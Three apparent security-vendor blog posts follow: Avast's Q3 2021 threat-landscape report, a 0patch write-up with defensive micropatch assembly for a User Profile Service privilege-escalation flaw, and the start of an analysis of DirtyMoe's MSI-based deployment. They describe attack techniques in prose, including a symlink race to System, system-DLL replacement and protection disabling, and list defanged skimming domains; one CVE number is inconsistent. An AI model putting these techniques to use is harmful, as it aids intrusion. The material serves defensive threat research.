So let us start with the Q3 report, and I must say it was a juicy quarter. To give you a sneak peak of the report: My colleagues published details about an ongoing APT campaign targeting the Mongolian certification authority MonPass. Another novel research was the discovery of the Crackonosh crypto stealer that earned more than $2 million USD to its operators. We were also intently monitoring which botnet will replace the previous kingpin Emotet in Q3. Furthermore, there was a rampant spreading of banking trojans on mobile (especially FluBot) and rootkits on Windows almost doubled their activity in September compared to the previous period. And for me, it started on July 2 at night with the Sodinokibi/REvil ransomware supply chain attack on the Kaseya MSP, it abused Microsoft Defender, there was involvement of world leaders, and precise timing (happening during my threat labs duty – respect to all infosec fellows that were dealing with that on this Independence weekend). As I said – it’s a fascinating environment…

Jakub Křoustek, Malware Research Director


This report is structured as two main sections – Desktop, informing about our intel from Windows, Linux, and MacOS, and Mobile, where we inform about Android and iOS threats.

Furthermore, we use the term risk ratio in this report for informing about the severity of particular threats, which is calculated as a monthly average of “Number of attacked users / Number of active users in a given country”. Unless stated otherwise, the risk is available just for countries with more than 10,000 active users per month.


Advanced Persistent Threats (APTs)

In Q3 of 2021, we saw APT activity on several fronts: continued attacks against Certificate Authorities (CAs), the Gamaredon group targeting military and government targets, and campaigns in Southeast Asia.

Certificate Authorities (CAs) are always of increased interest to APT groups for multiple reasons. By their very nature CAs have a high level of trust, they often provide services to the government organisations or being a part of one themselves, making them a perfect target for supply chain attacks. A well-known example was the targeting of the Vietnam Government Certification Authority in 2020. In Q3 Avast also wrote about activity targeting the Mongolian CA MonPass.

At the very beginning of Q3, Avast researchers discovered and published a story about an installer downloaded from the official website of Monpass, a major certification authority (CA) in Mongolia in East Asia that was backdoored with Cobalt Strike binaries. 

A public web server hosted by Monpass was breached potentially eight separate times: we found eight different webshells and backdoors on this server. The MonPass client available for download from 8 February 2021 until 3 March 20 2021 was backdoored. Adversaries used steganography to decrypt and implant Cobalt Strike beacons.

Additionally during the last few months we’ve seen an increased activity of the Gamaredon group primarily in Ukraine. The main targets of the group remain military and government institutions. The group keeps utilizing old techniques it’s been using for years in addition to a few new tools in their arsenal. Malware associated with Gamaredon was among the most prevalent between APT groups we tracked in this quarter.

Groups operating in Southeast and East Asia were active during this period as well. We’ve seen multiple campaigns in Myanmar, Philippines, Hong Kong and Taiwan. The majority of the actors in the region can be identified as Chinese-speaking groups. Technique of choice among these groups remains sideloading. We’ve seen samples with main functionality to search for potential candidates for sideloading on a victim’s machine, so they are not going to abandon this technique anytime soon.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Michal Salát, Threat Intelligence Director


Old botnets still haven’t said their last word. After Emotet’s takedown at the start of 2021, Trickbot has been aspiring to become its successor. Moreover, despite numerous takedown attempts, Trickbot is still thriving. Qakbot came up with a rare change in its internal payload which brought restructured resources. As for Ursnif (aka Gozi), the activity in Q3 kept its usual pace – with new webinjects and new builds being continuously released. However, Ursnif’s targets remain largely the same – European, and especially Italian, banks and other financial organisations. Surprisingly, Phorpiex seemed to maintain its presence, even though its source code has been reported to be on sale in August. This is especially true for Afghanistan, Turkmenistan, and Yemen where Phorpiex is especially prolific, significantly contributing to their above-average risk ratio.

Below is a heatmap showing the distribution of botnets that we observed in Q3 2021.

The IoT and Linux bot landscape is a wild west, as usual. We are still seeing many Gafgyt and Mirai samples trying to exploit their way onto various devices. The trend of these families borrowing the code from each other still continues, so while we sometimes see samples being worthy of being called a new strain, many samples continue to blur the line between Gafgyt and Mirai strains. We expect this trend to continue – both strains have their source code available, and the demand for DDoS does not lessen. Due to their popularity, the source code is also often used by technically less proficient adversaries, partially explaining the latter trend of code reuse.

Q3’s surprise has been the MyKings botnet which has had quite a profitable campaign. Their cryptoswapper campaign has managed to amass approximately 25 million dollars in Bitcoin, Ethereum and Dogecoin.

Changes in malware distribution methods

In Q3 2021, we saw a shift in bot and RAT distribution. Threat actors are finding new ways of abusing third party infrastructure. While we have previously seen various cloud storages (e.g. OneDrive) or Pastebin, we are also seeing more creative means such as Google’s feedproxy.google.com for C&C URLs or Discord’s CDN as a distribution channel. This makes it easier for them to avoid reputation services meant to combat malware distribution, though at the cost that their channels may get disrupted by the service provider. Since we’ve already seen communication platforms such as Discord or Telegram being also abused for exfiltration or as C&C, we can expect this trend to spread to other similar automation-friendly services.

Adolf Středa, Malware Researcher 

Infrastructure as a service for malware

It seems that infrastructure as a service for malware and botnets is on the rise by using commodity routers and IoT devices. Threat actors realized that it’s far easier to misuse these devices as a proxy to hide malicious activity than crafting specific malware for such a variety of architectures and devices. It also seems that we are witnessing botnets of enslaved devices being sold as a service to various threat actors. 

In Q2 and Q3, we’ve seen a new campaign dubbed Mēris. This campaign attacked Mikrotik routers, already known to be problematic since 2018, for DDoS attacks against Yandex servers. Further analysis showed that this attack had been just one of the campaigns run through the MikroTik botnet as a service providing anonymizing proxies. It turned out that the botnet consisted of approximately 200K of enslaved devices with an opened SOCKS proxy being ready for hire on darknet forums. It’s believed that this actor has been controlling this botnet since 2018. Moreover, there are ties to Glupteba and coin mining campaigns in 2018. Although most of the botnet has been taken down, the original culprit and vulnerabilities in the Mikrotik routers seem to be still open. The attack vector is notoriously well-known and is common for most of the IoT and router devices: unpatched firmware and default credentials. We’ll inevitably see more of this trend in the future.

Below is a heatmap showing the prevalence of unpatched Mikrotik routers in Q3 2021.

Martin Hron, Malware Researcher


Coinminers are malware that hijacks resources of infected PCs to mine cryptocurrency and send its profit directly to the attacker while the electricity bill is left for the victim. The number of users attacked by coinminers has actually stayed steady or even lowered some in Q3 2021 compared to the beginning of the year as shown below.

It is possible that this stagnant or even lowering threat trend is due to the prices of cryptocurrencies. The prices of Bitcoin, Etherum and Monero were on the low end from the end of May until the end of July. Q3 saw a significant sell-off of Bitcoin especially in response to increased signals that the Chinese government would move to regulate cryptocurrency. As a consequence the number of coinmining attacks we saw in Q3 were low and we did not observe any new threats. 

The most prevalent mining software used in coinminers was still XMRig (28%). The geological distribution of coinminers is almost the same as in Q2 as shown below.

It is hard to estimate how much the attackers obtained by mining, because they usually use untraceable cryptocurrency such as Monero. But we have some pieces of the puzzle. We were able to track some payments for Crackonosh malware. Our analysis shows that it was able to mine over $2 million USD since 2018. Crackonosh represents just about 2% of all coinminer attacks we see in our userbase. Crackonosh is packed with cracked copies of popular games, it uses Windows Safe Mode to uninstall antimalware software (note that Avast users are protected against this tactic) and then it installs XMRig to mine Monero.

Daniel Beneš, Malware Researcher


Q3 was a thrilling quarter from the ransomware perspective. One can almost get used to newspaper headlines about ransomware breaches and attacks on large companies on a daily basis (e.g. Olympus and Newcoop attacks by BlackMatter ransomware), but at the same time, we witnessed a huge supply chain attack not seen for a while, involvement of state leaders in addressing it and much more.

Overall, Q3 ransomware attacks were 5% higher than in Q2 and even 22% higher than in Q1 2021.

At the very beginning of Q3 (July 2), we spotted an attack of the Sodinokibi/REvil ransomware delivered via a supply chain attack on Kaseya MSP. The impact was massive – more than 1,500 businesses were targeted. Also other parts of the attack were fascinating. This particular cybercriminal group used the DLL sideloading vulnerability of Microsoft Defender for delivery of the target payload, which could have confused some security solutions. We’ve seen abuse of this particular Defender application already in May 2020. Overall, we’ve noticed and blocked this attack on more than 2.4k endpoints based on our telemetry. The story of this attack continued over Q3 with involvement of presidents Joe Biden and Vladimir Putin resulting in ransomware operators releasing the decryption key, which helped with unlocking files of affected victims. It gave us one more clue for the attribution of the origin of this (R)evil. After the release of the decryption key, Sodinokibi went silent for almost two months – their infrastructure went down, no new variants were seen in the wild, etc. However, it was us who detected (and blocked) its latest variant on September 9. This story evolved in November, but let’s keep it for the Q4 report.

However, Sodinokibi was only one piece of the ransomware threat landscape puzzle in Q3. The top spreading strains overall were:

  • STOP/Djvu – often spread via infected pirated software
  • WannaCry – the one and only, still spreading after four years via the EternalBlue exploit
  • CrySiS – also spreading for a long time via hacked RDP
  • Sodinokibi/REvil
  • Various strains derived from open-source ransomware (HiddenTear, Go-ransomware, etc.)

Furthermore, there were multiple active strains focused on targeted attacks on businesses, such as BlackMatter (previously DarkSide) and various ransomware strains from the Evil Corp group (e.g. Grief) and Conti.

The heat map below shows the risk ratio of users protected against ransomware Q3 2021.

As shown below the distribution of ransomware attacks was very similar to previous quarters except for a 600% increase in Sweden that was primarily caused by the aforementioned Kaseya supply chain attack.

hits trendline

The number of protected users by ransomware attacks was highest in July, and it decreased slightly in August and September. 

Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs)

Unlike ransomware, RAT campaigns are not as prevalent in newspaper headlines because of their very secretive nature. Ransomware needs to let you know that it is present on the infected system but RATs try to stay stealthy and just silently spy on their victims. The less visible they are the better for the threat actors. 

In Q3, three new RAT variants were brought to our attention. Among these new RATs were FatalRAT with its anti-VM capabilities, VBA RAT which was exploiting the Internet Explorer vulnerability CVE-2021-26411, and finally a new version of Reverse RAT with build number 2.0 which added web camera photo taking, file stealing and anti-AV capabilities.

But these new Remote Access Trojans haven’t drastically changed representation of RAT type in the wild yet.

We saw an  elevated risk ratio for RATs in many countries all over the world. In particular, we had to protect more users in countries such as Russia, Singapore, Bulgaria or Turkey where RAT attacks were elevated this quarter. 

In the heat map below, we can see the risk ratio for RATs globally in Q3 2021. 

Distribution of RAT risk ratio worldwide

Out of all users attacked by RATs in Q3, 19% were attacked by njRAT (also known as Bladabindi). njRat has been spreading since 2012 and it owes its popularity to the fact that it was open sourced a long time ago and many different variants were built on top of its source written in VB.NET. After njRAT, the most prevalent RAT strains were: 

  • Remcos ‒ 11%
  • AsyncRat ‒ 10%
  • NanoCore ‒ 9%
  • Warzone ‒ 6%
  • QuasarRAT ‒ 5%
  • NetWire ‒ 5%
  • DarkComet ‒ 4%

What made these RATs so popular and what was the reason they spread the most? The answer is simple, all of them were either open-sourced or cracked and that helped their popularity especially among less sophisticated script-kiddie attackers and among users of many hacking forums where they were often shared. njRat, Remcos, AsyncRat, NanoCore and QuasarRat were open-sourced and the rest was cracked. From this list only Warzone had a working paid subscription model from its original developer. Attackers used these RATs especially for industry espionage, credentials theft, stalking and with many infected computers, even DDOS.

Samuel Sidor, Malware Researcher


A rootkit is malicious software designed to give unauthorized access with the highest system privileges. Rootkits commonly provide services to other malware in the user mode. It typically includes functionality such as concealing malware processes, files and registry entries. In general, the rootkits have total control over a system they operate in the kernel layer, including modifying critical kernel structures. Rootkits are still popular techniques to hide malicious activity despite a high risk of being detected because the rootkits work in the kernel mode, and each critical bug can lead to BSoD.

We have recorded a significant increase in rootkit activity at the end of Q3, illustrated in the chart below. While we can’t be sure what’s behind this increase, this is one of the most significant increases in activity in Q3 2021 and is worth watching. It also underscores that defenders should be aware that rootkits, which have been out of the spotlight in recent years, remain a threat and in fact are increasing once again.

hits trendline

The graph below demonstrates that China and adjacent administrative areas (Macao, Taiwan, Hong Kong) are the most risk counties from the point of view of protected users in Q3 of 2021.

In Q3, we have also become interested in analyzing the code-signing of a rootkit driver, which protects the malicious activity of a complex and modularized malicious backdoor utilizing sophisticated C&C communication, self-protection mechanisms, and a wide variety of modules performing various suspicious tasks, called DirtyMoe focusing on the Monero mining.

This research has led us to the issue of signing windows drivers with revoked certificates. There have been identified 3 revoked certificates that sign the DirtyMoe rootkit and also sign other rootkits. Most users have been attacked in Russia (40%), China (20%), and Ukraine (10%).

Martin Chlumecký, Malware Researcher

Information Stealers

In Q3, we’ve seen a steady increase in numbers of various information stealers as can be seen on the daily spreading chart below.

protected users trendline

The risk ratio of this threat is globally high and similar across the majority of countries worldwide with peaks in Africa and the Middle East.

One of such stealers is a clipboard stealer, distributed by a notorious botnet called MyKings, that focuses on swapping victim’s cryptocurrency wallet addresses present in their clipboard with an attacker’s address. When the victim copies data into their clipboard, the malware tries to find a specific pattern in the content of the clipboard (such as a web page link or a format of cryptocurrency wallet) and if it is found, the content is replaced with the attackers’ information. Using this simple technique, the victim thinks for instance they pasted their friend’s cryptowallet address while the attacker changed the address in the meantime to their own, effectively redirecting the money.

MyKings also changes two kinds of links when present in the victim’s clipboard – Steam trade offer links and Yandex Disk storage links. This way, the attacker changes the Steam trade offer from the victim to himself, thus giving the trade over to the attacker who pockets the money. Furthermore, when the user wants to share a file via Yandex Disk storage cloud service, the web link is changed with a malicious one – leading the victim to download further malware because there is no reason to suspect the link is malicious when received from a friend.

Our research has shown that, since 2019, the operators behind MyKings have amassed at least $24 million USD (and likely more) as of 2021-10-05 in the Bitcoin, Ethereum, and Dogecoin cryptowallets associated with MyKings. While we can’t attribute this amount solely to MyKings, it still represents a significant sum that can be tied to MyKings activity. In addition to the aforementioned amounts, the clipboard stealer also focuses on more than 20 different cryptocurrencies, further leveraging the popularity of the cryptocurrency world. In Q3, MyKings was most active in Russia, Pakistan, and India.

Furthermore, Blustealer is a new and emerging stealer first seen at the beginning of Q3 and spiked in activities around 10-11 September. Primarily distributed through phishing emails, Blustealer is capable of stealing credentials stored in web browsers and crypto wallet data, hijacking crypto wallet addresses in clipboard, as well as uploading document files. The current version of Blustealer uses SMTP (email) and Telegram (Bot API) for data exfiltration.

Jan Rubín, Malware Researcher
Jakub Kaloč, Malware Researcher
Anh Ho, Malware Researcher

Technical support scams

Tech support scam (or TSS in short) is a big business and the people behind it use a number of techniques to try and convince you that you need their help. Most of the techniques these websites use are aimed at making your browser and system seem broken.

This topic became very popular on Youtube and TikTok as it attracted the attention of “scambaiters” – a type of vigilante who disrupts, exposes or even scams the world’s scammers.

We’ve seen a growing trend of TSS attacks with its peak at the end of August as shown below..

hits trendline

Overall we can see the distribution of  TSS attacks globally in Q3 2021 below.

We’ve divided these fraudsters into groups according to geography and similar attack patterns. These groupings can include multiple fraud groups that use the same tool, or use similar browser locking methods. The following table represents the unique hits for each group.

The most prevalent group in Q3 2021, called GR2 by us, typically targets mostly European countries, such as Russia, France, Ukraine, or Spain. These countries also had a high TSS risk ratio overall together with Iceland, Uzbekistan, and Rwanda.

We can see how GR2 was the most active TSS group and had its peak in mid-July.

Alexej Savčin, Malware Analyst

Vulnerabilities and Exploits

Q3 has seen plenty of newly discovered vulnerabilities. Of particular interest was PrintNightmare, a vulnerability in the Windows Print Spooler, which allowed for both local privilege escalation (LPE) and remote code execution (RCE) exploits. A Proof of Concept (PoC) exploit for PrintNightmare got leaked early on, which resulted in us seeing a lot of exploitation attempts by various threat actors. PrintNightmare was even integrated into exploit kits such as PurpleFox, Magnitude, and Underminer

Another vulnerability worth mentioning is CVE-2021-40444. This vulnerability can either be used to create malicious Microsoft Office documents (which can execute malicious code even without the need to enable macros) or it can be exploited directly against Internet Explorer. We have seen both exploitation methods used in-the-wild, with a lot of activity detected shortly after the vulnerability became public in  September 2021. One of the first exploit attempts we detected was against an undisclosed military target, which proves yet again that advanced attackers waste no time weaponizing promising vulnerabilities once they become public.

We’ve also been tracking exploit kit activity throughout Q3. The most active exploit kit was PurpleFox, against which we protected over 6k users per day on average. Rig and Magnitude were also prevalent throughout the whole quarter. The Underminer exploit kit woke up after a long period of inactivity and started sporadically serving HiddenBee and Amadey. Even though it might seem that exploit kits are becoming a thing of the past, we’ve witnessed that some exploit kits (especially PurpleFox and Magnitude) are being very actively developed, regularly receiving new features and exploitation capabilities. We’ve even devoted a whole blog post to the recent updates in Magnitude. Since that blog post, Magnitude continued to innovate and most interestingly was even testing exploits against Chromium-based browsers. We’ll see if this is the beginning of a new trend or just a failed experiment.

PurpleFox EK hits trendline

Overall, Avast users from Singapore, Czechia, Myanmar, Hong Kong and Yemen had the highest risk ratio for exploits, as can be seen on the following map.

The risk ratio for exploits was growing in Q3 with its peak in September.

hits trendline

Michal Salát, Threat Intelligence Director
Jan Vojtěšek, Malware Researcher

Web skimming 

Ecommerce websites are much more popular than they used to be, people tend to shop online more and more often. This led to the growth of an attack called web skimming. 

Web skimming is a type of attack on ecommerce websites in which an attacker inserts malicious code into a legitimate website. The purpose of the malicious code is to steal payment details on the client side at the moment the customer fills in their details in the payment form. These payment details are usually sent to the attacker’s server. To make the data flow to a third-party resource less visible, fraudsters often register domains resembling the names of popular web services like google-analytics, mastercard, paypal and others.

The map below shows that users from Australia, the United States, Canada, Brazil and Argentina were most at risk in Q3. Of the smaller countries, we can see Guatemala and Slovenia at the top. The high risk ratio in Guatemala was caused by an infected eshop elduendemall[.]com

hits trendline

Top two malicious domains used by attackers were webadstracker[.]com and ganalitics[.]com. Webadstracker[.]com was blocked by Avast from 2021-03-04 and was active from then for the whole Q3. It indicates that unlike phishing sites, which are active usually for a couple of days, web skimming domains can be active much longer. Webadstracker[.]com is hosted on Flowspec, which is known as one of the bulletproof hosting providers. From all web skimming incidents we observed, 8.6% were on this domain. With this domain, we can link other domains on the same IP, which was also used for web skimming attacks in Q3:

  • webscriptcdn[.]com
  • cdncontainer[.]com
  • cdnforplugins[.]com
  • shoppersbaycdn[.]com
  • hottrackcdn[.]com
  • secure4d[.]net

We were able to link this IP ( with 75 infected eshops. Lfg[.]com[.]br was the top ecommerce website infected with webadstracker[.]com was in Q3.

Pavlína Kopecká, Malware Analyst


Open Firebase instances

Firebase is Google’s mobile and web app development platform. Developers can use Firebase to facilitate developing mobile and web apps, especially for the Android mobile platform. In our study we discovered that more than 10% of about 180,000 tested Firebase instances, used by Android apps, were open. The reason is a misconfiguration, made by application developers. Some of these DBs exposed sensitive data, including plaintext passwords, chat messages etc. These open instances pose a significant risk of users’ data leakage. Unfortunately, ordinary users can’t check if DB used by an application is misconfigured, moreover it can become open at any moment.

Vladimir Martyanov, Malware Researcher


Adware continues to be a dominant threat on Android. This category may take various forms – from traditional aggressive advertising on either legitimate or even fake applications to completely fake applications that, while installed with an original purpose of stopping adware, end up doing exactly the opposite and bombard the user with out-of-context ads (for example FakeAdBlocker).

The degree to which the aggressive advertisement is shown to the user – either in app or out-of-context very negatively affects the user’s experience, not to mention that in the case of out-of-context ads the user has a very difficult time of actually locating the source of such spam.

A special category in this regard is the so called Fleeceware, which we have been observing both on iOS and Android already for quite some time, this type of threat is still present in Q3 in the official marketplaces and users should be aware of such techniques so that they can actively avoid falling for it.

Ondřej David, Malware Analysis Team Lead

Bankers – FluBot

We have seen a steady increase in the number of mobile banking threats for a while now, but none more than in Q3 2021. This can be best evidenced on a strain called FluBot – while this strain has been active since Q1/Q2, we’ve seen it make a couple of rounds since then. By Q3 it became an established threat in the Android banking threat landscape. 

Its advanced and highly sophisticated spreading mechanisms – using SMS messages typically posing as delivery services to lure the victims into downloading a “tracking app” for a parcel they recently missed or should be expecting – as well as the relentless campaigns account for a successful strain in the field. But even these phishing SMS messages (aka. smishing) have evolved and especially in Q3 we have seen novel scenarios in spreading this malware. One example is posing as voicemail recorders. Another is fake claims of leaked personal photos. The most extreme of these variants would then even lure the victim to a fake page that would claim  the victim has already been infected by FluBot when they probably weren’t yet and trick them into installing a “cure” for the “infection”. This “cure” would in fact be the FluBot malware itself. 

We have seen a steady expansion of the scope where FluBot operated throughout Q2 and mainly Q3, where initially it was targeting Europe – Spain, Italy, Germany, later spreading throughout the rest of Europe, but it didn’t end there. In Q3 we’ve seen advisories being posted in many other countries, including countries like Australia and New Zealand. This threat affects only Android devices – iOS users may still occasionally receive the phishing SMS messages, but the malware would not be able to infect the device.

The heat map below shows the spread of Flubot in Q3 2021 and the graph shows the increase in Flubot infections in that same time period.

hits trendline

Ondřej David, Malware Analysis Team Lead


Perhaps the most discussed mobile threat in Q3 was the infamous Pegasus spyware. Developed by Israeli’s NSO Group this threat targeted primarily iOS device users with known Android variants as well. Due to the usage of zero-click vulnerabilities in the iMessage application the attackers were able to infect the device without any user interaction necessary. This makes it a particularly tricky and sophisticated threat to deal with. Fortunately for the majority of the users this type of attack is unlikely to be used on a mass scale, but rather in a highly targeted manner against high profile or high value targets

Acting as a full blown spyware suite, Pegasus is capable of tracking location, calls, messages and many other personal data. Pegasus as a strain is not exactly new, its roots go deep into history as far back as at least 2016. The threat as well as its distribution methods have changed significantly since the early days however. For a successful stealthy distribution of this threat the malicious actors needed to keep finding vulnerabilities in the ever updating OS or default apps that could be used as a way to infect the device – ranging from remote jailbreaks to the latest versions utilizing zero-click exploits.

Best protection against this type of threat is to keep your mobile device’s operating system updated to the latest version and have all the latest security updates installed.

Ondřej David, Malware Analysis Team Lead

Acknowledgements / Credits

Malware researchers
  • Adolf Středa
  • Alexej Savčin
  • Anh Ho
  • Daniel Beneš
  • David Jursa
  • Igor Morgenstern
  • Jakub Kaloč
  • Jakub Křoustek
  • Jan Rubín
  • Jan Vojtěšek
  • Luigino Camastra
  • Martin Chlumecký
  • Martin Hron
  • Michal Salát
  • Ondřej David
  • Pavlína Kopecká
  • Samuel Sidor
  • Vladimir Martyanov
Data analysts
  • Lukáš Zobal
  • Pavol Plaskoň
  • Petr Zemek
  • Christopher Budd
  • Marina Ziegler

The post Avast Q3’21 Threat Report appeared first on Avast Threat Labs.

Micropatching Incompletely Patched Local Privilege Escalation in User Profile Service (CVE-2021-34484)

10 November 2021 at 21:19



by Mitja Kolsek, the 0patch Team


Update 12/21/2021: December Windows Updates did not bring a fix for this 0day. Our associated micropatches thus remain free.

August 2021 Windows Updates brought a fix for CVE-2021-34484, found and reported by security researcher Abdelhamid Naceri. This vulnerability was considered by Microsoft to be an "arbitrary directory deletion" bug, allowing a locally logged-on attacker to delete a folder on the computer. This, combined with the fact that the attacker must also have credentials of another user who can locally log on to the same computer, made the bug seem fairly uninteresting.

However, Abdelhamid subsequently reviewed Microsotf's fix and found it to be incomplete, bypassable with a small change to the attack script. Furthermore, he confirmed the vulnerability was more impactful than described in Microsoft's advisory, namely enabling local privilege escalation from a regular user to System. Consequently, a write-up and proof of concept were published, which allowed us to analyze the vulnerability and create a micropatch for it. 


The Vulnerability

The vulnerability lies in the User Profile Service, specifically in the code responsible for creating a temporary user profile folder in case the user's original profile folder is damaged or locked for some reason. Abdelhamid found that the process (executed as Local System) of copying folders and files from user's original profile folder to the temporary one can be attacked with symbolic links to create attacker-writable folders in a system location from which a subsequently launched system process would load and execute attacker's DLL.

The crux of the attack is in quickly creating a symbolic link in the temporary user profile folder (C:\Users\TEMP) so that when the User Profile Service copies a folder from user's original profile folder, it will end up creating a folder somewhere else - where the attacker would normally not have permissions to create one.

Microsoft, even though believing the vulnerability only allowed for deletion of an arbitrarily "symlinked" folder, made a conceptually correct fix: it checked whether the destination folder under C:\Users\TEMP was a symbolic link, and aborted the operation if so. The incompleteness of this fix, as noticed by Abdelhamid, was in the fact that the symbolic link need not be in the upper-most folder (which Microsoft's fix checked), but in any folder along the destination path.

Admittedly, this bug was not easy to reproduce, as it requires winning a race condition and that depends on lots of factors. Nevertheless, an actual attacker would have an unlimited number of attempts and would not be dismayed by that. A more significant obstacle for them would be obtaining additional user's credentials, which seem to be needed in order to exploit this vulnerability. As stated by Abdelhamid, "it might be possible to do it without knowing someone else password." but until someone finds a way to do so, we shall assume this to be a requirement.

While this vulnerability already has its CVE ID (CVE-2021-33742), we're considering it to be without an official vendor fix and therefore a "0day".

Our Micropatch

Our micropatch extends the incomplete security check from Microsoft's fix to the entire destination path by calling GetFinalPathNameByHandle and thus resolving any symbolic links it may contain. Then, by comparing the original path and the "resolved" path, it determines whether any symbolic links are present; if not, original code execution is resumed, otherwise the creation of a temporary user profile is aborted.


Our micropatch (green code blocks) injected in the original code of profext.dll.

Source code of our micropatch:

MODULE_PATH "..\Affected_Modules\profext.dll_10.0.19041.1165_Win10-2004_64-bit_u202110\profext.dll"
VULN_ID 7184

  PIT Kernel32.dll!GetFinalPathNameByHandleW,Kernel32.dll!LocalAlloc,msvcrt.dll!_wcsicmp,profext.dll!0x150c8,Kernel32.dll!LocalFree
                         ; original path is on rbx
    mov rcx, 0           ; LMEM_FIXED
    mov rdx, 208h        ; number of bytes to allocate
    sub rsp, 20h         ; home space
    call PIT_LocalAlloc  ; allocates the specified number of bytes on the heap
    add rsp, 20h         ; restore stack pointer
    mov rcx, [rsp+40h]   ; hFile, handle to file
    push rax             ; save pointer to heap buffer for _wcsicmp
    push rax             ; save pointer to heap buffer for LocalFree
    mov rdx, rax         ; pointer to allocated memory
    mov r9d, 0           ; type of returned result, FILE_NAME_NORMALIZED
    mov r8d, 208h        ; max length of Windows path, the size of lpszFilePath
    sub rsp, 20h         ; home space
    call PIT_GetFinalPathNameByHandleW ; retrieve final path for the specified file
    add rsp, 20h         ; restore stack pointer
    pop rcx              ; pointer to allocated buffer
    lea rcx, [rcx+8]     ; GetFinalPathNameByHandleW returns path with \\?\, we get rid of that
    mov rdx, rbx         ; current path
    sub rsp, 20h         ; home space
    call PIT__wcsicmp    ; compare two null terminated paths
    add rsp, 20h         ; restore stack pointer
    cmp rax, 0           ; are strings equal?
    je END               ; if equal, then no links exist, proceed with normal execution
    pop rcx              ; pointer to allocated buffer
    call PIT_LocalFree   ; free allocated buffer
    call PIT_ExploitBlocked ; report exploit attempt
    jmp PIT_0x150c8      ; error out
    pop rcx              ; pointer to allocated buffer
    call PIT_LocalFree   ; free allocated buffer
                         ; and continue with normal execution


And the video of our micropatch in action. Without the micropatch, exploit works; with the micropatch, corrected code in User Profile Service determines that a destination path contains a symbolic link and aborts the creation of a temporary profile folder.

[Update 11/16/2021: The list below updated with additional supported platforms]

This micropatch was written for: 

  1. Windows 10 v21H1 (32 & 64 bit) updated with October or November 2021 Updates
  2. Windows 10 v20H2 (32 & 64 bit) updated with October or November 2021 Updates
  3. Windows 10 v2004 (32 & 64 bit) updated with October or November 2021 Updates
  4. Windows 10 v1909 (32 & 64 bit) updated with October or November 2021 Updates
  5. Windows 10 v1903 (32 & 64 bit) updated with October or November 2021 Updates
  6. Windows 10 v1809 (32 & 64 bit) updated with May 2021 Updates
  7. Windows Server 2019 64 bit updated with October or November 2021 Updates
  8. Windows Server 2016 64 bit updated with November 2021 Updates
While some older Windows versions also seem to be theoretically affected, the vulnerable code is different there, making the window for winning the race condition extremely narrow and probably unexploitable.
Micropatches for this vulnerability will be free until Microsoft has issued an official fix. If you want to use them, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboots will be needed.

We'd like to thank Abdelhamid Naceri for finding this issue and sharing details, which allowed us to create a micropatch and protect our users. Thanks also to Will Dormann for useful tips on reproducing this issue.

To learn more about 0patch, please visit our Help Center.



DirtyMoe: Deployment

3 November 2021 at 14:54


In the first article, we have described a complex malware, called DirtyMoe, from a high-level point of view. Most of the captured samples were MSI Installer packages which were delivered onto a victim’s machine by the PurpleFox exploit kit. So in the fourth part of the DirtyMoe series, we will focus on DirtyMoe’s deployment and how DirtyMoe tackles various issues with different versions of Windows.

To understand what the MSI package executes on the victim’s machine, we have analyzed the MSI package in terms of registry and file manipulations, installer’s arguments, and post-reboot operations. We have also tried to put these actions into the context to determine the purpose of its individual actions in DirtyMoe’s deployment.

The DirtyMoe’s MSI installer abuses the Windows System Event Notification Service (SENS) to deploy DirtyMoe. The main goal of the MSI installer is to replace the system DLL file of SENS with a malicious payload and execute the payload as a legitimate service. Another essential point is configuring the anti-detection methods to keep DirtyMoe under the radar.

The DirtyMoe malware requires different locations of installed files and registry entries for each Windows version that the malware targets. Since the MSI Installer provides a convenient way to install arbitrary software across versions of Windows, its usage seems like a logical choice.

1. Scope

We have recorded two versions of MSI installer packages distributing DirtyMoe. Both versions perform very similar actions for the successful DirtyMoe deployment. The main difference is the delivery of malicious files via a CAB file. The older version of the MSI package includes the CAB file directly in the package, while the newer version requires the CAB file in the same location as the package itself.

The effect of the separate CAB file easily allows managing payloads that need to be deployed. Further, it reduces the size of the primary exploit payload because the CAB file can be downloaded after successful exploitations.

1.1 All in One Package (older version)

The example of the all in one package is a sample with SHA-256:

The package details follow:

  • Product Version:
  • Product Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}
  • Install Condition:
    • is Windows NT (cannot be installed on Windows 9x/ME)
    • is not Windows XP SP2 x64 or Windows Server 2003 SP2 x64
    • is not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86
    • is not Windows NT 4.0
    • is not Windows 2000
    • not exist SOFTWARE\SoundResearch\UpdaterLastTimeChecked3 with value 3
  • File Size: 2.36 MB
1.2 Excluded Data Package (newer version)

The newer version of the MSI package consists of two parts. The first part is the MSI package itself and the separate CAB file containing the malicious payloads. The MSI package refers to one of the following CAB files: M0011.cab, M0021.cab, M0031.cab, , M0041.cab, M0051.cab, M0061.cab , M0071.cab . The CAB file contains three malicious files, but only one file (sysupdate.log) is different for each CAB file. Detailed information about the file manipulation is described in Section 3.

The example of the newer MSI package is a sample with SHA-256:

The package details follow:

  • Product Version:
  • Product Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}
  • Install Condition:
    • is Windows NT (cannot be installed on Windows 9x/ME)
    • is not Windows XP SP2 x64 or Windows Server 2003 SP2 x64
    • is not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86
    • is not Windows NT 4.0
    • is not Windows 2000
    • not exist HKLM\SOFTWARE\Microsoft\DirectPlay8\Direct3D
    • not exist HKCU\SOFTWARE\7-Zip\StayOnTop
  • File Size: 1.020 MB

Note: The product name is usually different for each .msi file. It is a random string composed of capital letters of length 36. The product code has so far been observed with the same value.

2. Registry Manipulation

The malware authors prepare a victim environment to a proper state via the MSI installer. They focus on disabling anti-spyware and file protection features. Additionally, the MSI package uses one system configuration to bypass Windows File Protection (WFP) to overwrite protected files despite the fact that WFP should prevent replacing critical Windows system files [1].

There are several registry manipulations during MSI installation, though we will describe only the most crucial registry entries.

2.1 Mutex

One of the malware registry entries is UpdaterLastTimeChecked[x], where x signifies how many times the MSI installer has been run. Each MSI installation of the package creates one entry. If UpdaterLastTimeChecked3 is present, the following package installation is not allowed. It is applicable only for the older version of the MSI package.

